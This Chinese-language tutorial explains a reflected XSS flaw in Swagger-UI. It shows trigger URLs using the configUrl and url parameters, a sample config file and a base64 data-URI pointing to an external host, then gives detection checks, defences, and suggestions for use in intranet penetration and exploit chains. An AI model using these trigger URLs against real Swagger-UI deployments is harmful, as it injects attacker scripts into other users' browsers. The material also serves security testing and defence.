Swagger-UI 反射型 XSS
字数 1135 2025-08-19 12:41:44
Swagger-UI 反射型 XSS 漏洞分析与利用教学文档
一、Swagger-UI 简介
Swagger-UI 是一个开源项目,提供了一个直观的用户界面来查看API文档,并允许用户直接从文档中发送请求、查看响应,从而测试和调试API。
主要功能:
- API文档可视化展示
- 交互式API测试
- 支持多种API规范
入口页面通常为:swagger-ui.html
二、漏洞概述
漏洞类型
反射型跨站脚本攻击(XSS)
影响版本
多个版本的Swagger-UI存在此漏洞,可通过JSON.stringify(versions)命令查询当前版本
漏洞原理
Swagger-UI允许通过URL参数动态加载配置文件和API文档,但未对输入进行充分验证和过滤,导致攻击者可以注入恶意脚本。
三、漏洞利用参数
1. configUrl 参数
用于指定Swagger UI配置文件的URL
示例:
/swagger-ui.html?configUrl=https://example.com/test.json
2. url 参数
直接指定API文档的URL
示例:
/swagger-ui.html?url=https://example.com/test.yaml
四、漏洞利用步骤
1. 准备恶意配置文件
创建一个JSON格式的配置文件(test.json),内容如下:
{
"url": "https://example.com/test.yaml",
"urls": [
{
"url": "https://example.com/test.yaml",
"name": "Foo"
}
]
}
2. 准备恶意API文档
创建一个YAML格式的API文档(test.yaml),其中包含XSS payload
3. 触发漏洞的方式
方式一:通过外部配置文件
/swagger-ui.html?configUrl=https://example.com/test.json
方式二:直接指定API文档
/swagger-ui.html?url=https://example.com/test.yaml
方式三:使用data URI方案
/swagger-ui.html?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9leHViZXJhbnQtaWNlLnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==
五、漏洞检测方法
- 检查Swagger-UI是否存在未授权访问
- 尝试通过
configUrl或url参数加载外部资源 - 在控制台输入
JSON.stringify(versions)查询当前版本
六、防御措施
-
输入验证:
- 对
configUrl和url参数进行严格验证 - 限制只允许加载可信域的配置文件
- 对
-
输出编码:
- 对所有动态内容进行适当的HTML编码
-
内容安全策略(CSP):
- 实施严格的内容安全策略,限制外部脚本加载
-
版本更新:
- 及时更新到最新版本的Swagger-UI
-
访问控制:
- 对Swagger-UI页面实施身份验证
- 限制内网访问或特定IP访问
七、实际应用场景
- 当发现Swagger-UI未授权访问时,可尝试利用此XSS漏洞
- 在内网渗透测试中,可用于绕过某些安全限制
- 可作为漏洞链的一部分,与其他漏洞结合利用
八、注意事项
- 漏洞利用需要目标系统能够访问攻击者控制的服务器
- 某些网络环境可能限制外部资源加载
- 实际利用前应先确认目标版本是否受影响
- 合法渗透测试需获得授权
九、参考资源
- Swagger-UI安全公告:https://security.snyk.io/package/npm/swagger-ui
- 示例配置文件托管服务:https://surge.sh/